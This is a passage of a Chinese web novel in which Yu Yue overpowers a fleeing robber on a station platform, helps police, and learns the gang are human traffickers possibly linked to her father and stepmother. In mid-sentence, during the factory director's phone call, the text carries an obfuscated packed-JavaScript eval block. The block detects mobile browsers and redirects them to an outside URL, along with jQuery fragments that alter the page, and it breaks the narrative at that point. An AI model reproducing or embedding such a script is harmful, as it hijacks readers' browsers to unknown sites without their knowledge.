原本男人跳车后就打算冲进人群里,一旦汇入人群,他就有办法逃脱了。 然而他哪里想到虞悦居然紧咬着他不放? 这下他是不敢往人群里冲了,生怕自己直接自投罗网,然而即便如此,他最终还是没能逃脱虞悦的追击。 在连追了三节车厢的距离后,虞悦借着冲劲纵身一跃,在压到男人后背上的同时用右手手臂箍住他的脖子,然后直接往下坠,靠自身的力气将奔跑中的男人死死地摁在原地。 此时的虞悦虽然满脑子都想着以最快的速度将男人制服,但是她没有忘记自己现在已经暴露在众目睽睽之下了,所以她在后世所所学到的所有散打技能以及和警察同志们学到的基本功都不能拿出来用。 她只能够纯凭力气将男人制服。 于是站台上的乘客们就亲眼见到瘦弱的小姑娘成功追上体型足足比她大一倍的男人后,仅用三拳就把男人揍得当场眼冒金星,倒地不起。 一时之间想要赶过来帮忙的乘客们都不知道这到底是因为虞悦太厉害了?还是男人太花架子了? 倒是见势不对冲过来的乘警们就没有想那么多了,赶过来后他们一个控制住了被虞悦制服的男人,一个警惕地看向虞悦问她:“这位同志,这是怎么回事儿?” 虞悦假装没看到乘警同志对她的警惕,一脸激动地道:“乘警同志你们来了真是太好了,他是坏人,他跟车上那四个人是一伙儿的,他们想要抢我的钱。” “他还有四个同伙?” “对。”虞悦点头道,“还在车上呢,不过都被我打趴下了,我已经麻烦其他乘客帮我看住他们了。” 说到这儿,她脸上的表情一下子变得严肃起来,“另外我要举报,他们很有可能是受人指使来抢我的钱的。” 什么? 你问虞悦为什么明知道潘梅他们是人贩子却不直接说他们都是人贩子? 那当然是因为她要拖林建国下水了。 以为把虞泽这五年寄回去的钱都给她吐出来之后他们之间的事儿就算完了? 做梦! 12.第 12 章 012 得知虞悦随身携带两千多块的巨款,并且怀疑抢劫她的五人是受人指使之后,两个乘警就意识到事情可能比他们想象的要大得多。 于是不止是他们火车站的站长,就连火车站隔壁派出所都被惊动了。 在看到虞悦的那一瞬间,不止两名公安同志,就连站长都有点怀疑自己的下属谎报案情了。 因为怎么看他们都不觉得面前这位小姑娘有一个打五个的本事,尤其是其中两个还是牛高马大的男人。 但是分别和虞悦握手后,他们就意识到他们以貌取人了,因为他们的手都有点麻。 “还请见谅。”虞悦笑道,“我主要是为了让你们相信我待会儿要说的话。” 站长和两名公安都笑了,在来之前他们已经从乘警那儿知道了事情的来龙去脉,虽然潘梅他们五人不是被虞悦打晕了就是被她打得神志不清,以至于乘警他们没法问话,但是当他们根据虞悦的提示找到他们的时候,确实分别从他们身上搜出许多令人怀疑的东西。 除了潘梅之外,其余四人的身上也随身携带了掺有迷药的糖果以及馒头之类的食物。 哪个好人会往自己身上藏这些下作的东西? 所以不仅是乘警同志,就连站长他们知道后也意识到潘梅他们五人十有八九就不是什么好东西。 “虞同志你好。”老公安主动问道,“我听乘警同志说你怀疑他们五人都是受人指使来对你进行抢劫的,请问你为什么会这么怀疑呢?或者说你有什么怀疑的对象吗?” 虞悦正想开口,结果就听到两道熟悉的声音从门外传来。 “姑姑!” “三悦你没事儿吧?” 虞悦一抬头,就见俞江抱着小船急吼吼地从外面冲了进来。 要是潘梅他们五人这会儿在场的话,听到俞江这么问怕是得气到吐血了。 因为真正有事儿的人是他们! 一见到虞悦,小船就不要俞江抱了,二话不说就从他的怀里朝虞悦的怀里扑了过去:“姑姑,他们说你遇到坏人了。” “是遇到坏人了,但是没事儿,坏人已经被姑姑打倒啦。”虞悦安抚了小船一句后又对俞江道,“二哥你别担心,你还不了解我吗?他们都不是我的对手。” 俞江:“……” 实不相瞒,确实不算太了解。 毕竟他也不了解他们大嫂现在的“法力”有多高强啊。 俞江没办法说实话,但是见虞悦真的没受伤他也松了口气:“没事儿就好。” 虞悦把俞江和小船都介绍给站长他们后就把他们兄妹二人为什么出发去南潭、去到南潭之后发生了什么事以及他们为什么会随身携带两千多块的巨款坐火车的事情都简单地跟他们说了一遍。 “……除了我们之外,按理来说就只有南潭家具厂的厂长、厂长秘书、会计以及我亲爹知道我们拿着这么大一笔钱,既然如此,那么潘梅他们是从哪儿知道我们随身携带了这么多钱的?” “我不信他们是随机选择了我们,我猜他们一定知道我们身上带了那么多钱,也一定知道我有两下子,要不然他们也不会光对付我就用了那么多人了。” 老公安他们这下知道虞悦刚刚为什么让他们见识一下她的力气了,听完她的话后他们认为虞悦的猜测是有道理的,单纯从她的外表上看来的话,如果想要抢劫她,根本不需要出动到五个人。 “那你怀疑他们是受谁指使的?” “我亲爹林建国。”虞悦想都不想就道,“虽然说我跟他有血缘关系,但是我们之间并无感情,在南潭的时候我们只见过两次面,而且每次见面都闹得不愉快。” “当日在他们厂长办公室的时候,他就有意想要赖掉这笔钱不还给我们,多亏了他们的厂长出面,这才逼得他不得不吐出这笔钱。” “如果你们不信的话,我可以提供南潭家具厂的电话给你们,你们可以给他们的厂长打电话核实一下。” 怪不得不怀疑厂长他们几个外人,反倒怀疑自己的亲爹呢,老公安他们听明白了,如果虞悦没有撒谎的话,那么林建国确实很有嫌疑。 “那就麻烦你了,虞同志。”老公安说完,年轻公安立马给虞悦递本子和笔,后者接过后冲他笑笑,“谢谢。” 年轻公安的耳朵顿时红了红:“不、不客气。” 老公安和站长扭头看了年轻公安一眼,这一眼直接把他的脸也一并看红了。 站长暗暗感叹一句“年轻真好”后主动对虞悦道:“虞同志,今天已经没有出发去江城的火车了,你们想转乘回江城的话至少得等到明天早上九点十七分那趟火车。” 虞悦把南潭家具厂的电话写下来后把本子和笔递回给年轻公安,然后才对站长道:“我知道,我们刚刚本来打算先去办理转乘手续的,你们的乘警同志知道我们要回江城后已经把这件事告诉我们了。” 老公安和站长是旧相识了,听他提起这件事就知道他的用意:“那你们是打算入住招待所吗?如果是的话可以就近住火车站旁的招待所。” 站长补充道:“那家招待所不仅在我们火车站隔壁,也在派出所的隔壁。” 虞悦和俞江他们一听这话,立马就表示要入住:“真是太感谢你们了。” “不客气,都是为人民服务。” …… 让乘警护送虞悦他们三人去招待所后,站长看向了老公安:“你是不是发现有不对劲的地方了?” 老公安纠正道:“你应该问‘你是不是也发现有不对劲的地方了’才对。” 站长哈哈一笑:“你说的没错,我怀疑潘梅他们五人不止是想抢钱,还想拐人。” 老公安点头道:“一般来说抢劫的人是不会随身携带那么多迷药的,因为他们抢钱的时候根本不在意会不会伤害到对方,但是人贩子就不一样了。” 年轻公安出声道:“师父,要是潘梅他们真的是人贩子的话,那么事情会不会和虞同志的继母有关?要是有关的话那么向他们透露虞同志他们随身携带一笔巨款的人会不会也是虞同志的继母?” 老公安点头道:“所以我们现在要做两件事,一,给南潭家具厂打电话,确定虞同志口供的真实性,二,连夜分开提审潘梅等人,争取撬开他们的嘴。” 于是已经下班的厂长因为派出所的一个电话,急匆匆地又赶回了南潭家具厂,得知虞悦他们在火车上遭遇抢劫一事后又惊又怕:“那小虞同志他们怎么样了?没事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17029879|194476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 儿吧?” 虽然和虞悦他们只有一面之缘,但是虞悦免费赠送了他们好几张图纸,而他们南潭家具厂靠着这几张图纸很有机会能被评为先进单位,所以在厂长心目中,虞悦可是他们家具厂的贵人。 “您放心,虞同志他们没事儿,不过我们这里有些事情想要跟您核实一下,希望您能配合。” “没问题,你尽管问,我一定配合。” 厂长确实很配合,同时他也很敏锐,通过公安的询问,他意识到了虞悦他们出事,有可能跟他们有关。 或者更准确一点来说,是跟他们当中的某一个人有关。 所以当公安询问完之后,厂长忍不住问了一句:“公安同志,你们是不是怀疑我们当中有人泄露了小虞同志他们身怀巨款的事儿?” “确实是有这个怀疑,所以希望厂长您暂时不要将这件事透露出去,以免走漏风声。” “你放心,我会保密的。”厂长没有继续往下问,因为他已经猜到公安那边,或者说虞悦那边怀疑的人是谁了。 但是这可能吗? 亲爹不舍吐出去的巨款派人抢劫自己的亲女儿? * 虞悦他们在派出所睡了一个安稳觉后,第二天就从派出所那里得到了一个好消息—— 潘梅他们招了。 “什么?潘梅他们不仅是抢劫犯,还是人贩子?”俞江被吓了一跳,后怕地一手拉住虞悦,一手拉住小船。 虞悦眨了眨眼睛,迅速装出了一个震惊的表情。 “对,他们都是老手了,在此之前至少已经拐过十五个小孩和七个女同志。”年轻公安说到这里,突然给虞悦敬了一个礼,“所以我们十分感激虞同志昨日将他们绳之於法,要不然这会儿他们肯定还在逍遥法外,祸害更多的女同志和孩子。” “公安同志你客气了。”虞悦道,“咱们警民是一家嘛。” 年轻公安忍不住笑了,然后就听到虞悦问:“那他们盯上我们是不是跟林建国有关系?是他把我们有两千多块的事情透露给他们的吗?” “暂时还没有查到这件事跟他有关系。”年轻公安想了想还是跟虞悦他们说实话,“他们说是因为收到了一张小纸条,所以才知道了你们携巨款回江城的事儿。” “不过我们倒是查到了他们曾跟常芬有过接触,另外他们也表示正是因为常芬,所以他们才会盯上小船的。” 俞江一听,气道:“难道之前她说要把小船卖了给她找个新爹的事儿是真的?” 吓得小船二话不说抱住了虞悦的大腿。 “这个我们还需要继续查。”年轻公安道。 “那查到了可以跟我们说一声吗?公安同志。”虞悦一边给小船摸摸毛,一边对年轻公安说,“我们也想知道真相。” “当然可以了。”年轻公安说,“你……们可以给我留一个电话,等结案后我可以跟你们说一声。” 说着,他又拿出了本子和笔。 “那太好了。”虞悦二话不说就给他留了一个电话号码。 年轻公安拿回本子和笔后又道:“对了,我师父让我请你们去一趟派出所,他还有一些事情想要问问你。” 虞悦的眼皮子跳了一下。